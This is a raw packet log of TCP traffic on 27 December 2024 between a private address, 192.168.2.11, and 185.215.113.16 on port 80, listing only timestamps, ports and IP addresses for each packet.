Dec 27, 2024 09:02:45.114717007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.114998102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.115040064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.115098000 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.115825891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.115951061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.115993977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.116668940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.116749048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.116803885 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.117563009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.117755890 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.117799044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.118451118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.118581057 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.118865013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.119292021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.119359970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.119440079 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.120155096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.120232105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.120312929 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.121052027 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.121092081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.121249914 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.121846914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.122064114 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.122739077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.122792006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.122905970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.123646021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.123689890 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.123706102 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.123744011 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.124476910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.124600887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.124644041 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.125334978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.125503063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.125901937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.126272917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.126319885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.126795053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.127116919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.127223015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.127264977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.127959967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.128051043 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.128201962 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.128851891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.128948927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.128994942 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.129720926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.129813910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.129864931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.130618095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.130707026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.130757093 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.131444931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.131588936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.132751942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.132766008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.132798910 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.132827044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.133228064 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.133354902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.133394003 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.134115934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.134156942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.134207964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.134972095 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.135067940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.135109901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.135931969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.135946035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.136006117 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.136697054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.136814117 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.137175083 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.137602091 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.137763023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.137876987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.138509989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.138608932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.138705015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.139295101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.140306950 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.140319109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.140328884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.140358925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.140381098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.141278982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.141290903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.141336918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.141906023 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.142051935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.142095089 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.142817020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.142910004 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.142956018 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.143706083 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.143774986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.144511938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.144565105 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.144608021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.145476103 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.145488977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.145529985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.145546913 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.146253109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.146337986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.146388054 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.160742998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.160809040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.160897970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.161032915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.161128044 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.161166906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.161974907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.162048101 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.162384987 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.162781954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.215209961 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.305649042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.305712938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.305811882 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.305838108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.305996895 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.306037903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.306575060 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.306771040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.307581902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.307661057 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.307883024 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.308603048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.308659077 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.308727026 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.308937073 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.309226036 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.309266090 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.309309959 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.310051918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.310183048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.310240984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.310910940 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.310998917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.311841011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.311929941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.311959028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.312653065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.312752962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.312760115 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.312808990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.313572884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.313666105 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.313710928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.314451933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.314471006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.314534903 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.315352917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.315431118 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.315486908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.316137075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.316257954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.317056894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.317090034 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.317111015 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.317145109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.317877054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.318005085 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.318058968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.318814039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.318886995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.318948030 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.319628000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.319827080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.320525885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.320580006 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.320612907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.321391106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.321466923 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.321630001 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.321877956 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.322223902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.322382927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.322437048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.323142052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.323266983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.323329926 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.323993921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.324116945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.324852943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.324911118 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.324932098 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.325854063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.325865984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.325965881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.326586008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.326761007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.326813936 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.327497959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.327584028 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.328327894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.328387022 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.328442097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.329181910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.329252958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.329279900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.329322100 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.330060959 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.330183029 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.330235958 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.330972910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.331084967 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.331139088 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.331804037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.331912041 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.331964970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.332676888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.332815886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.332869053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.333584070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.333673954 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.333986044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.334445000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.334541082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.335342884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.335392952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.335393906 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.336210012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.336257935 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.336292982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.336333990 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.337115049 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.337462902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.337510109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.337915897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.338025093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.338077068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.338798046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.338978052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.339030981 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.339603901 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:45.387077093 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.613074064 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:45.732806921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.086361885 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.086453915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.086514950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.086765051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.086865902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.086915970 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.087367058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.087472916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.088200092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.088248014 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.088324070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.089096069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.089139938 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.089179039 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.089219093 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.089946032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.090091944 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.090157032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.210843086 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.210894108 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.210951090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.211167097 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.211265087 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.211982012 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.212033033 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.212059021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.212613106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.212661028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.212807894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.212848902 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.213494062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.213613987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.213654995 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.214400053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.214540005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.214581013 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.215251923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.215368032 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.215411901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.216097116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.216178894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.217000008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.217041016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.217081070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.217852116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.217895985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.217957020 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.217997074 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.218744993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.218844891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.218888044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.219563961 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.262072086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.335367918 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.335459948 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.335568905 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.335767984 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.335863113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.335910082 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.336618900 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.336729050 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.337291002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.337337017 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.337399960 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.338160038 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.338172913 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.338203907 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.338218927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.339024067 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.339138031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.339874029 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.339900970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.340055943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.340791941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.340836048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.340908051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.341629982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.341679096 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.341749907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.341787100 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.342505932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.342613935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.342655897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.343374014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.343487978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.343528986 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.344242096 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.344341993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.345102072 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.345148087 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.345206022 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.345880985 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:46.346014977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:46.346112967 CET	80	49768	185.215.113.16	192.168.2.11
